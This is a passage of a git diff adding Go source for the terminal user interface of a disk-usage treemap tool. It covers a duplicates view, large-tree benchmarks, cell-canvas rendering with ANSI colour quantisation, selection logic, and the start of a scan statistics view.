tr = append(tr, tableRow{
|
||||
cells: []string{textutil.Size(g.Wasted()), fmt.Sprintf("%d × %s", len(g.Files), textutil.Size(g.Size)), fmt.Sprintf("verified identical · sha256 %x…", g.Hash[:8])},
|
||||
styles: []*Style{{FG: t.Warn, BG: t.Bg, Attr: Bold}, {FG: t.Fg, BG: t.Bg, Attr: Bold}, {FG: t.OK, BG: t.Bg}}, bar: -1,
|
||||
})
|
||||
for _, id := range g.Files {
|
||||
v.rows = append(v.rows, dupRow{gi, id})
|
||||
tr = append(tr, tableRow{cells: []string{"", "", " " + textutil.Sanitize(m.tree.Path(id))}, bar: -1})
|
||||
}
|
||||
}
|
||||
title := fmt.Sprintf("Duplicates — %d groups (Enter details · Space go to)", len(d.groups))
|
||||
if d.err != nil {
|
||||
title += " — stopped: " + textutil.Sanitize(d.err.Error())
|
||||
}
|
||||
v.tb.paint(m, cv, r, []column{{"WASTED", 10, true, false}, {"COPIES", 16, false, false}, {"", 0, false, false}}, tr, title)
|
||||
}
|
||||
|
||||
func (v *dupView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
if v.tb.key(k, len(v.rows)) {
|
||||
return true, nil
|
||||
}
|
||||
if v.tb.cursor < len(v.rows) {
|
||||
r := v.rows[v.tb.cursor]
|
||||
if r.id == inventory.NoNode && m.dups != nil && r.group < len(m.dups.groups) {
|
||||
r.id = m.dups.groups[r.group].Files[0]
|
||||
}
|
||||
if r.id != inventory.NoNode {
|
||||
switch k {
|
||||
case "enter":
|
||||
m.openModal(newInfoModal(m, r.id))
|
||||
return true, nil
|
||||
case "space":
|
||||
m.jumpTo(r.id)
|
||||
return true, nil
|
||||
case "c", "o", "d":
|
||||
m.sel = int64(r.id)
|
||||
}
|
||||
}
|
||||
}
|
||||
if k == "esc" && m.dups != nil && m.dups.running {
|
||||
m.dups.cancel()
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *dupView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.tb.scroll(up, len(v.rows))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"testing"
|
||||
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// bigTree builds ~1M nodes in memory: 200 top-level dirs with nested
|
||||
// subdirectories, plus one flat directory with 200k files.
|
||||
func bigTree() *inventory.Tree {
|
||||
r := rand.New(rand.NewSource(1))
|
||||
t := inventory.New("/big", inventory.KindDir)
|
||||
file := func(p inventory.NodeID, i int) {
|
||||
id := t.Add(p, fmt.Sprintf("f%d.dat", i), inventory.KindFile)
|
||||
n := t.Node(id)
|
||||
n.Size = int64(r.ExpFloat64() * 1e6)
|
||||
n.Alloc = n.Size
|
||||
n.Cat = inventory.Category(r.Intn(int(inventory.NumCategories)))
|
||||
}
|
||||
flat := t.Add(0, "flat", inventory.KindDir)
|
||||
for i := range 200_000 {
|
||||
file(flat, i)
|
||||
}
|
||||
for d := range 200 {
|
||||
top := t.Add(0, fmt.Sprintf("dir%d", d), inventory.KindDir)
|
||||
for s := range 40 {
|
||||
sub := t.Add(top, fmt.Sprintf("sub%d", s), inventory.KindDir)
|
||||
for f := range 100 {
|
||||
file(sub, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Recompute()
|
||||
return t
|
||||
}
|
||||
|
||||
var bigTreeCache *inventory.Tree
|
||||
|
||||
func benchModel(b *testing.B) *Model {
|
||||
if bigTreeCache == nil {
|
||||
bigTreeCache = bigTree()
|
||||
}
|
||||
m := newModel(Options{}, nil, bigTreeCache, func() {})
|
||||
m.profile = colorprofile.TrueColor
|
||||
send(m, size(200, 60))
|
||||
return m
|
||||
}
|
||||
|
||||
// Cold frame: sorting children, LOD selection, layout and paint.
|
||||
func BenchmarkBigColdFrame(b *testing.B) {
|
||||
m := benchModel(b)
|
||||
b.ReportMetric(float64(m.tree.Len()), "nodes")
|
||||
for b.Loop() {
|
||||
m.invalidate()
|
||||
m.View()
|
||||
}
|
||||
}
|
||||
|
||||
// Resize: child lists cached; layout and paint rerun for the new size.
|
||||
func BenchmarkBigResize(b *testing.B) {
|
||||
m := benchModel(b)
|
||||
m.View()
|
||||
i := 0
|
||||
for b.Loop() {
|
||||
send(m, size(150+i%100, 40+i%30))
|
||||
m.View()
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
// Zoomed into a 200k-entry directory (cold child sort each time).
|
||||
func BenchmarkBigFlatDirCold(b *testing.B) {
|
||||
m := benchModel(b)
|
||||
m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) {
|
||||
if n.Name == "flat" {
|
||||
m.zoom = id
|
||||
}
|
||||
})
|
||||
for b.Loop() {
|
||||
m.invalidate()
|
||||
m.View()
|
||||
}
|
||||
}
|
||||
|
||||
// Arrow-key navigation including the re-render it triggers.
|
||||
func BenchmarkBigNavigate(b *testing.B) {
|
||||
m := benchModel(b)
|
||||
m.View()
|
||||
keys := []string{"right", "down", "left", "up"}
|
||||
i := 0
|
||||
for b.Loop() {
|
||||
send(m, key(keys[i%4]))
|
||||
m.View()
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkBigFilter(b *testing.B) {
|
||||
m := benchModel(b)
|
||||
for _, q := range []string{"size > 1MB", "*.dat AND size > 500k", "path contains sub3"} {
|
||||
b.Run(q, func(b *testing.B) {
|
||||
m.search.ed.set(q)
|
||||
m.queryChanged()
|
||||
for b.Loop() {
|
||||
m.applyFilter()()
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,324 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// Color is 0 for the terminal default, otherwise 0x01RRGGBB.
|
||||
type Color uint32
|
||||
|
||||
// RGB builds a colour.
|
||||
func RGB(r, g, b uint8) Color { return Color(1<<24 | uint32(r)<<16 | uint32(g)<<8 | uint32(b)) }
|
||||
|
||||
// Hex parses "#rrggbb".
|
||||
func Hex(s string) (Color, bool) {
|
||||
s = strings.TrimPrefix(s, "#")
|
||||
if len(s) != 6 {
|
||||
return 0, false
|
||||
}
|
||||
v, err := strconv.ParseUint(s, 16, 32)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return Color(1<<24 | uint32(v)), true
|
||||
}
|
||||
|
||||
func (c Color) rgb() (r, g, b float64) {
|
||||
return float64(c>>16&0xff) / 255, float64(c>>8&0xff) / 255, float64(c&0xff) / 255
|
||||
}
|
||||
|
||||
// Mix blends c towards o by t (0..1). Default colours are returned as-is.
|
||||
func (c Color) Mix(o Color, t float64) Color {
|
||||
if c == 0 || o == 0 {
|
||||
return c
|
||||
}
|
||||
r1, g1, b1 := c.rgb()
|
||||
r2, g2, b2 := o.rgb()
|
||||
f := func(a, b float64) uint8 { return uint8((a + (b-a)*t) * 255) }
|
||||
return RGB(f(r1, r2), f(g1, g2), f(b1, b2))
|
||||
}
|
||||
|
||||
// Luma returns perceived brightness 0..1.
|
||||
func (c Color) Luma() float64 {
|
||||
r, g, b := c.rgb()
|
||||
return 0.299*r + 0.587*g + 0.114*b
|
||||
}
|
||||
|
||||
// Attr is a text attribute bit set.
|
||||
type Attr uint8
|
||||
|
||||
const (
|
||||
Bold Attr = 1 << iota
|
||||
Faint
|
||||
Italic
|
||||
Underline
|
||||
Reverse
|
||||
)
|
||||
|
||||
// Style is a cell style.
|
||||
type Style struct {
|
||||
FG, BG Color
|
||||
Attr Attr
|
||||
}
|
||||
|
||||
type cell struct {
|
||||
s string // "" marks the continuation of a wide cluster
|
||||
st Style
|
||||
}
|
||||
|
||||
// Canvas is an in-memory cell grid that every view paints into. It is
|
||||
// serialised once per frame.
|
||||
type Canvas struct {
|
||||
W, H int
|
||||
c []cell
|
||||
}
|
||||
|
||||
// NewCanvas creates a canvas filled with spaces in style st.
|
||||
func NewCanvas(w, h int, st Style) *Canvas {
|
||||
cv := &Canvas{W: max(w, 0), H: max(h, 0)}
|
||||
cv.c = make([]cell, cv.W*cv.H)
|
||||
for i := range cv.c {
|
||||
cv.c[i] = cell{" ", st}
|
||||
}
|
||||
return cv
|
||||
}
|
||||
|
||||
func (cv *Canvas) in(x, y int) bool { return x >= 0 && y >= 0 && x < cv.W && y < cv.H }
|
||||
|
||||
// put writes one cluster of width w at (x, y), repairing any wide cluster it
|
||||
// overlaps so the grid never holds half a character.
|
||||
func (cv *Canvas) put(x, y int, s string, w int, st Style) {
|
||||
if !cv.in(x, y) || x+w > cv.W {
|
||||
return
|
||||
}
|
||||
row := y * cv.W
|
||||
for i := x; i < x+w; i++ {
|
||||
c := &cv.c[row+i]
|
||||
if c.s == "" && i > 0 && i == x { // overwriting the tail of a wide cluster
|
||||
cv.c[row+i-1].s = " "
|
||||
}
|
||||
if c.s != "" && textutil.Width(c.s) > 1 && i+1 < cv.W { // overwriting its head
|
||||
if n := &cv.c[row+i+1]; n.s == "" {
|
||||
n.s = " "
|
||||
}
|
||||
}
|
||||
}
|
||||
cv.c[row+x] = cell{s, st}
|
||||
for i := 1; i < w; i++ {
|
||||
cv.c[row+x+i] = cell{"", st}
|
||||
}
|
||||
}
|
||||
|
||||
// Text draws s at (x, y), clipped to maxW cells and the canvas. Control
|
||||
// characters are replaced as a second line of defence (callers sanitise
|
||||
// untrusted strings first). It returns the number of cells used.
|
||||
func (cv *Canvas) Text(x, y int, s string, maxW int, st Style) int {
|
||||
if y < 0 || y >= cv.H {
|
||||
return 0
|
||||
}
|
||||
limit := min(x+maxW, cv.W)
|
||||
cx := x
|
||||
textutil.Clusters(s, func(c string, w int) bool {
|
||||
if r := c[0]; r < 0x20 || r == 0x7f || (len(c) > 1 && c[0] == 0xc2 && c[1] < 0xa0) {
|
||||
c, w = "?", 1
|
||||
}
|
||||
if cx+w > limit {
|
||||
// A wide cluster that does not fit leaves a blank cell.
|
||||
for ; cx < limit; cx++ {
|
||||
if cx >= 0 {
|
||||
cv.put(cx, y, " ", 1, st)
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
if cx >= 0 {
|
||||
cv.put(cx, y, c, w, st)
|
||||
}
|
||||
cx += w
|
||||
return true
|
||||
})
|
||||
return cx - x
|
||||
}
|
||||
|
||||
// TextCentered draws s centred within [x, x+w).
|
||||
func (cv *Canvas) TextCentered(x, y, w int, s string, st Style) {
|
||||
s = textutil.Truncate(s, w)
|
||||
cv.Text(x+(w-textutil.Width(s))/2, y, s, w, st)
|
||||
}
|
||||
|
||||
// TextRight draws s right-aligned ending at x+w.
|
||||
func (cv *Canvas) TextRight(x, y, w int, s string, st Style) {
|
||||
s = textutil.Truncate(s, w)
|
||||
cv.Text(x+w-textutil.Width(s), y, s, w, st)
|
||||
}
|
||||
|
||||
// Fill fills r with the cluster ch.
|
||||
func (cv *Canvas) Fill(r treemap.Rect, ch string, st Style) {
|
||||
for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ {
|
||||
for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ {
|
||||
cv.put(x, y, ch, 1, st)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Restyle applies fn to the style of every cell in r.
|
||||
func (cv *Canvas) Restyle(r treemap.Rect, fn func(Style) Style) {
|
||||
for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ {
|
||||
for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ {
|
||||
c := &cv.c[y*cv.W+x]
|
||||
c.st = fn(c.st)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Box glyph sets.
|
||||
type BoxChars struct{ H, V, TL, TR, BL, BR string }
|
||||
|
||||
var (
|
||||
BoxLight = BoxChars{"─", "│", "┌", "┐", "└", "┘"}
|
||||
BoxRound = BoxChars{"─", "│", "╭", "╮", "╰", "╯"}
|
||||
BoxDouble = BoxChars{"═", "║", "╔", "╗", "╚", "╝"}
|
||||
BoxHeavy = BoxChars{"━", "┃", "┏", "┓", "┗", "┛"}
|
||||
BoxASCII = BoxChars{"-", "|", "+", "+", "+", "+"}
|
||||
BoxASCIISel = BoxChars{"=", "#", "#", "#", "#", "#"}
|
||||
)
|
||||
|
||||
// Box draws a border around r (which must be at least 2×2).
|
||||
func (cv *Canvas) Box(r treemap.Rect, b BoxChars, st Style) {
|
||||
if r.W < 2 || r.H < 2 {
|
||||
return
|
||||
}
|
||||
x1, y1 := r.X+r.W-1, r.Y+r.H-1
|
||||
for x := r.X + 1; x < x1; x++ {
|
||||
cv.put(x, r.Y, b.H, 1, st)
|
||||
cv.put(x, y1, b.H, 1, st)
|
||||
}
|
||||
for y := r.Y + 1; y < y1; y++ {
|
||||
cv.put(r.X, y, b.V, 1, st)
|
||||
cv.put(x1, y, b.V, 1, st)
|
||||
}
|
||||
cv.put(r.X, r.Y, b.TL, 1, st)
|
||||
cv.put(x1, r.Y, b.TR, 1, st)
|
||||
cv.put(r.X, y1, b.BL, 1, st)
|
||||
cv.put(x1, y1, b.BR, 1, st)
|
||||
}
|
||||
|
||||
// HLine draws a horizontal rule.
|
||||
func (cv *Canvas) HLine(x, y, w int, ch string, st Style) {
|
||||
for i := x; i < x+w; i++ {
|
||||
cv.put(i, y, ch, 1, st)
|
||||
}
|
||||
}
|
||||
|
||||
// Cell returns the text and style at (x, y) (for tests).
|
||||
func (cv *Canvas) Cell(x, y int) (string, Style) {
|
||||
if !cv.in(x, y) {
|
||||
return "", Style{}
|
||||
}
|
||||
c := cv.c[y*cv.W+x]
|
||||
return c.s, c.st
|
||||
}
|
||||
|
||||
// Line returns the plain text of row y (for tests).
|
||||
func (cv *Canvas) Line(y int) string {
|
||||
var b strings.Builder
|
||||
for x := 0; x < cv.W; x++ {
|
||||
b.WriteString(cv.c[y*cv.W+x].s)
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// colorDepth selects how colours are serialised.
|
||||
type colorDepth uint8
|
||||
|
||||
const (
|
||||
depthTrue colorDepth = iota
|
||||
depth256
|
||||
depth16
|
||||
)
|
||||
|
||||
func sgr(b *strings.Builder, st Style, depth colorDepth) {
|
||||
b.WriteString("\x1b[0")
|
||||
if st.Attr&Bold != 0 {
|
||||
b.WriteString(";1")
|
||||
}
|
||||
if st.Attr&Faint != 0 {
|
||||
b.WriteString(";2")
|
||||
}
|
||||
if st.Attr&Italic != 0 {
|
||||
b.WriteString(";3")
|
||||
}
|
||||
if st.Attr&Underline != 0 {
|
||||
b.WriteString(";4")
|
||||
}
|
||||
if st.Attr&Reverse != 0 {
|
||||
b.WriteString(";7")
|
||||
}
|
||||
col := func(c Color, base string) {
|
||||
if c == 0 {
|
||||
return
|
||||
}
|
||||
switch depth {
|
||||
case depth256:
|
||||
b.WriteString(";" + base + ";5;")
|
||||
b.WriteString(strconv.Itoa(int(quant256(c))))
|
||||
return
|
||||
case depth16:
|
||||
n := int(quant16(c))
|
||||
code := 30 + n
|
||||
if n >= 8 {
|
||||
code = 90 + n - 8
|
||||
}
|
||||
if base == "48" {
|
||||
code += 10
|
||||
}
|
||||
b.WriteString(";" + strconv.Itoa(code))
|
||||
return
|
||||
}
|
||||
b.WriteString(";" + base + ";2;")
|
||||
b.WriteString(strconv.Itoa(int(c >> 16 & 0xff)))
|
||||
b.WriteByte(';')
|
||||
b.WriteString(strconv.Itoa(int(c >> 8 & 0xff)))
|
||||
b.WriteByte(';')
|
||||
b.WriteString(strconv.Itoa(int(c & 0xff)))
|
||||
}
|
||||
col(st.FG, "38")
|
||||
col(st.BG, "48")
|
||||
b.WriteByte('m')
|
||||
}
|
||||
|
||||
// String serialises the canvas as lines of text with SGR styling and
|
||||
// 24-bit colours.
|
||||
func (cv *Canvas) String() string { return cv.Render(depthTrue) }
|
||||
|
||||
// Render serialises the canvas. For 256 and 16 colours it quantizes with
|
||||
// its own perceptual mapping (see color256.go); Bubble Tea strips colour
|
||||
// entirely for colourless terminals.
|
||||
func (cv *Canvas) Render(depth colorDepth) string {
|
||||
var b strings.Builder
|
||||
b.Grow(cv.W * cv.H * 4)
|
||||
for y := 0; y < cv.H; y++ {
|
||||
if y > 0 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
var cur Style
|
||||
first := true
|
||||
for x := 0; x < cv.W; x++ {
|
||||
c := cv.c[y*cv.W+x]
|
||||
if c.s == "" {
|
||||
continue
|
||||
}
|
||||
if first || c.st != cur {
|
||||
sgr(&b, c.st, depth)
|
||||
cur, first = c.st, false
|
||||
}
|
||||
b.WriteString(c.s)
|
||||
}
|
||||
b.WriteString("\x1b[0m")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"math"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// The stock 256-colour conversion maps dark, slightly tinted colours to
|
||||
// saturated cube entries (olive, navy), which wrecks the subtle shading the
|
||||
// treemap relies on. quant256 picks the perceptually nearest entry (redmean
|
||||
// distance) among the cube and the grey ramp, never the palette-dependent
|
||||
// first 16 entries.
|
||||
|
||||
var (
|
||||
cubeLevels = [6]int{0, 95, 135, 175, 215, 255}
|
||||
q256Cache sync.Map // Color -> uint8
|
||||
)
|
||||
|
||||
func redmean(r1, g1, b1, r2, g2, b2 int) int {
|
||||
rm := (r1 + r2) / 2
|
||||
dr, dg, db := r1-r2, g1-g2, b1-b2
|
||||
return ((512+rm)*dr*dr)>>8 + 4*dg*dg + ((767-rm)*db*db)>>8
|
||||
}
|
||||
|
||||
func quant256(c Color) uint8 {
|
||||
if v, ok := q256Cache.Load(c); ok {
|
||||
return v.(uint8)
|
||||
}
|
||||
r, g, b := int(c>>16&0xff), int(c>>8&0xff), int(c&0xff)
|
||||
best, bestD := 16, math.MaxInt
|
||||
for i := 0; i < 216; i++ {
|
||||
cr, cg, cb := cubeLevels[i/36], cubeLevels[i/6%6], cubeLevels[i%6]
|
||||
if d := redmean(r, g, b, cr, cg, cb); d < bestD {
|
||||
best, bestD = 16+i, d
|
||||
}
|
||||
}
|
||||
for i := 0; i < 24; i++ {
|
||||
v := 8 + 10*i
|
||||
if d := redmean(r, g, b, v, v, v); d < bestD {
|
||||
best, bestD = 232+i, d
|
||||
}
|
||||
}
|
||||
q256Cache.Store(c, uint8(best))
|
||||
return uint8(best)
|
||||
}
|
||||
|
||||
var q16Cache sync.Map // Color -> uint8
|
||||
|
||||
// quant16 maps a colour to a basic colour. Dark shades become black and
|
||||
// unsaturated colours grey/white, so tints and shadows stay quiet; saturated
|
||||
// colours keep their hue (bright variant when light), so category colours
|
||||
// survive. The stock conversion instead turns dark tints into bright
|
||||
// yellow/cyan.
|
||||
func quant16(c Color) uint8 {
|
||||
if v, ok := q16Cache.Load(c); ok {
|
||||
return v.(uint8)
|
||||
}
|
||||
rf, gf, bf := c.rgb()
|
||||
mx, mn := max(rf, gf, bf), min(rf, gf, bf)
|
||||
luma := c.Luma()
|
||||
var n uint8
|
||||
switch {
|
||||
case luma < 0.2:
|
||||
n = 0
|
||||
case mx-mn < 0.12: // grey
|
||||
switch {
|
||||
case luma < 0.45:
|
||||
n = 8
|
||||
case luma < 0.8:
|
||||
n = 7
|
||||
default:
|
||||
n = 15
|
||||
}
|
||||
default:
|
||||
// Hue in sixths: red, yellow, green, cyan, blue, magenta.
|
||||
var h float64
|
||||
switch mx {
|
||||
case rf:
|
||||
h = math.Mod((gf-bf)/(mx-mn), 6)
|
||||
case gf:
|
||||
h = (bf-rf)/(mx-mn) + 2
|
||||
default:
|
||||
h = (rf-gf)/(mx-mn) + 4
|
||||
}
|
||||
if h < 0 {
|
||||
h += 6
|
||||
}
|
||||
ansi := [6]uint8{1, 3, 2, 6, 4, 5}[int(math.Round(h))%6]
|
||||
n = ansi
|
||||
if luma > 0.5 {
|
||||
n += 8
|
||||
}
|
||||
}
|
||||
q16Cache.Store(c, n)
|
||||
return n
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"sort"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
)
|
||||
|
||||
// kids is a cached, size-sorted child list (zero-size entries removed).
|
||||
type kids struct {
|
||||
ids []inventory.NodeID
|
||||
sizes []int64
|
||||
total int64
|
||||
}
|
||||
|
||||
// sizeOf returns the size that drives layout: the filtered size when a
|
||||
// filter is active, otherwise the aggregate in the current size mode.
|
||||
// Callers hold the tree read lock.
|
||||
func (m *Model) sizeOf(id inventory.NodeID) int64 {
|
||||
if r := m.search.result; r != nil {
|
||||
return r.Size(id)
|
||||
}
|
||||
n := m.tree.Node(id)
|
||||
if n.Flags&inventory.FlagDeleted != 0 {
|
||||
return 0
|
||||
}
|
||||
return n.Total(m.sizeMode)
|
||||
}
|
||||
|
||||
// kidsOf returns the sorted children of id, cached until data changes.
|
||||
func (m *Model) kidsOf(id inventory.NodeID) *kids {
|
||||
if m.kidsVer != m.dataVer {
|
||||
clear(m.kidsCache)
|
||||
m.kidsVer = m.dataVer
|
||||
}
|
||||
if k, ok := m.kidsCache[id]; ok {
|
||||
return k
|
||||
}
|
||||
k := &kids{}
|
||||
m.tree.Children(id, func(c inventory.NodeID, _ *inventory.Node) {
|
||||
if s := m.sizeOf(c); s > 0 {
|
||||
k.ids = append(k.ids, c)
|
||||
k.sizes = append(k.sizes, s)
|
||||
k.total += s
|
||||
}
|
||||
})
|
||||
sort.Sort(byKidSize{k})
|
||||
m.kidsCache[id] = k
|
||||
return k
|
||||
}
|
||||
|
||||
type byKidSize struct{ *kids }
|
||||
|
||||
func (b byKidSize) Len() int { return len(b.ids) }
|
||||
func (b byKidSize) Less(i, j int) bool {
|
||||
if b.sizes[i] != b.sizes[j] {
|
||||
return b.sizes[i] > b.sizes[j]
|
||||
}
|
||||
return b.ids[i] < b.ids[j]
|
||||
}
|
||||
func (b byKidSize) Swap(i, j int) {
|
||||
b.ids[i], b.ids[j] = b.ids[j], b.ids[i]
|
||||
b.sizes[i], b.sizes[j] = b.sizes[j], b.sizes[i]
|
||||
}
|
||||
|
||||
// selectedNode returns the selected inventory node (NoNode for groups).
|
||||
func (m *Model) selectedNode() inventory.NodeID {
|
||||
if m.sel == noSel || isGroup(m.sel) || m.sel >= int64(m.tree.Len()) {
|
||||
return inventory.NoNode
|
||||
}
|
||||
return inventory.NodeID(m.sel)
|
||||
}
|
||||
|
||||
// ensureSelection keeps the selection meaningful after any change: if the
|
||||
// selected node is no longer a direct, visible child of the zoom root it
|
||||
// falls back to the visible ancestor, then the group containing it, then
|
||||
// the largest child. Tree read lock held.
|
||||
func (m *Model) ensureSelection() {
|
||||
k := m.kidsOf(m.zoom)
|
||||
if len(k.ids) == 0 {
|
||||
m.sel = noSel
|
||||
return
|
||||
}
|
||||
if !m.userSel {
|
||||
// Until the user picks something, follow the largest block (it
|
||||
// changes while a scan is running).
|
||||
m.sel = int64(k.ids[0])
|
||||
return
|
||||
}
|
||||
if isGroup(m.sel) {
|
||||
if groupParent(m.sel) == m.zoom {
|
||||
return
|
||||
}
|
||||
m.sel = noSel
|
||||
}
|
||||
id := m.selectedNode()
|
||||
if id != inventory.NoNode {
|
||||
// Walk up to the direct child of the zoom root.
|
||||
for cur := id; cur != inventory.NoNode; cur = m.tree.Node(cur).Parent {
|
||||
if m.tree.Node(cur).Parent == m.zoom {
|
||||
if m.sizeOf(cur) > 0 {
|
||||
m.sel = int64(cur)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
m.sel = int64(k.ids[0])
|
||||
}
|
||||
|
||||
// visibleSel maps the selection onto the treemap blocks: a node collapsed
|
||||
// into the LOD group selects the group.
|
||||
func (m *Model) visibleSel(blocks map[int64]bool) int64 {
|
||||
if blocks[m.sel] {
|
||||
return m.sel
|
||||
}
|
||||
if !isGroup(m.sel) && blocks[groupID(m.zoom)] {
|
||||
return groupID(m.zoom)
|
||||
}
|
||||
return m.sel
|
||||
}
|
||||
|
||||
// zoomTo makes dir the treemap root.
|
||||
func (m *Model) zoomTo(dir inventory.NodeID) {
|
||||
if dir == m.zoom {
|
||||
return
|
||||
}
|
||||
prev := m.zoom
|
||||
m.zoom = dir
|
||||
// Coming back out, keep the directory we left selected.
|
||||
if m.tree.IsAncestor(dir, prev) {
|
||||
m.sel = int64(prev)
|
||||
} else {
|
||||
m.sel = noSel
|
||||
}
|
||||
m.userSel = m.sel != noSel
|
||||
m.zoomed = true
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
func (m *Model) setView(i int) {
|
||||
if i >= 0 && i < len(m.views) {
|
||||
m.view = i
|
||||
m.dirty = true
|
||||
}
|
||||
}
|
||||
|
||||
// colorOf returns the base colour for a block.
|
||||
func (m *Model) colorOf(id int64) Color {
|
||||
t := m.theme
|
||||
if isGroup(id) {
|
||||
return t.Group
|
||||
}
|
||||
nid := inventory.NodeID(id)
|
||||
n := m.tree.Node(nid)
|
||||
if d := m.opts.Diff; d != nil {
|
||||
switch d.StatusOf(nid, m.sizeMode) {
|
||||
case snapshot.Added:
|
||||
return t.DiffNew
|
||||
case snapshot.Grew:
|
||||
old, _ := d.OldSize(nid, m.sizeMode)
|
||||
return t.DiffSame.Mix(t.DiffGrow, ratio(n.Total(m.sizeMode)-old, old))
|
||||
case snapshot.Shrank:
|
||||
old, _ := d.OldSize(nid, m.sizeMode)
|
||||
return t.DiffSame.Mix(t.DiffShrink, ratio(old-n.Total(m.sizeMode), old))
|
||||
}
|
||||
return t.DiffSame
|
||||
}
|
||||
if !n.IsDir() {
|
||||
if t.Ext != nil {
|
||||
if c, ok := t.Ext[m.tree.ExtName(n)]; ok {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return t.Cat[n.Cat]
|
||||
}
|
||||
cs := m.tree.CatSizes(nid)
|
||||
best, bestV := -1, int64(0)
|
||||
for i, v := range cs {
|
||||
if v > bestV {
|
||||
best, bestV = i, v
|
||||
}
|
||||
}
|
||||
if best < 0 {
|
||||
return t.EmptyDir
|
||||
}
|
||||
return t.Cat[best]
|
||||
}
|
||||
|
||||
// ratio maps a relative change to 0.35..1 for colour intensity.
|
||||
func ratio(delta, base int64) float64 {
|
||||
if base <= 0 {
|
||||
return 1
|
||||
}
|
||||
r := float64(delta) / float64(base)
|
||||
return min(1, 0.35+r*0.65)
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// infoView shows scan statistics and the error list.
|
||||
type infoView struct{ tb table }
|
||||
|
||||
func (*infoView) name() string { return "Scan" }
|
||||
|
||||
func (v *infoView) focusErrors(m *Model) { v.tb.cursor = 0 }
|
||||
|
||||
func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.base())
|
||||
st := &m.tree.Stats
|
||||
root := m.tree.Node(m.tree.Root())
|
||||
lw := min(52, r.W/2)
|
||||
if r.W < 100 {
|
||||
lw = r.W - 2
|
||||
}
|
||||
y := r.Y + 1
|
||||
x := r.X + 2
|
||||
label := Style{FG: t.Muted, BG: t.Bg}
|
||||
value := Style{FG: t.Fg, BG: t.Bg, Attr: Bold}
|
||||
line := func(k, val string, vs Style) {
|
||||
if y >= r.Y+r.H {
|
||||
return
|
||||
}
|
||||
cv.Text(x, y, k, 20, label)
|
||||
cv.Text(x+20, y, val, lw-20, vs)
|
||||
y++
|
||||
}
|
||||
head := func(s string) {
|
||||
if y >= r.Y+r.H-1 {
|
||||
return
|
||||
}
|
||||
y++
|
||||
cv.Text(x, y, s, lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
|
||||
y++
|
||||
}
|
||||
state := "Complete"
|
||||
stateSt := Style{FG: t.OK, BG: t.Bg, Attr: Bold}
|
||||
switch {
|
||||
case m.scanning:
|
||||
state, stateSt.FG = "Scanning…", t.Accent
|
||||
case st.Cancelled:
|
||||
state, stateSt.FG = "Cancelled — totals incomplete", t.Warn
|
||||
case st.Incomplete():
|
||||
state, stateSt.FG = "Complete, with unreadable areas", t.Warn
|
||||
}
|
||||
cv.Text(x, y, "SCAN INFORMATION", lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
|
||||
y++
|
||||
line("Root", textutil.Sanitize(st.Root), value)
|
||||
line("State", state, stateSt)
|
||||
if st.FromSnapshot != "" {
|
||||
line("Snapshot", textutil.Sanitize(st.FromSnapshot), value)
|
||||
}
|
||||
files := st.Files + st.Symlinks + st.Others
|
||||
line("Items scanned", textutil.Count(files+st.Dirs), value)
|
||||
line(" Files", textutil.Count(st.Files), value)
|
||||
line(" Directories", textutil.Count(st.Dirs), value)
|
||||
line(" Symlinks", textutil.Count(st.Symlinks), value)
|
||||
line(" Special", textutil.Count(st.Others), value)
|
||||
line("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotSize), textutil.Count(root.TotSize)), value)
|
||||
line("Allocated size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotAlloc), textutil.Count(root.TotAlloc)), value)
|
||||
el := st.Elapsed()
|
||||
if st.FromSnapshot == "" {
|
||||
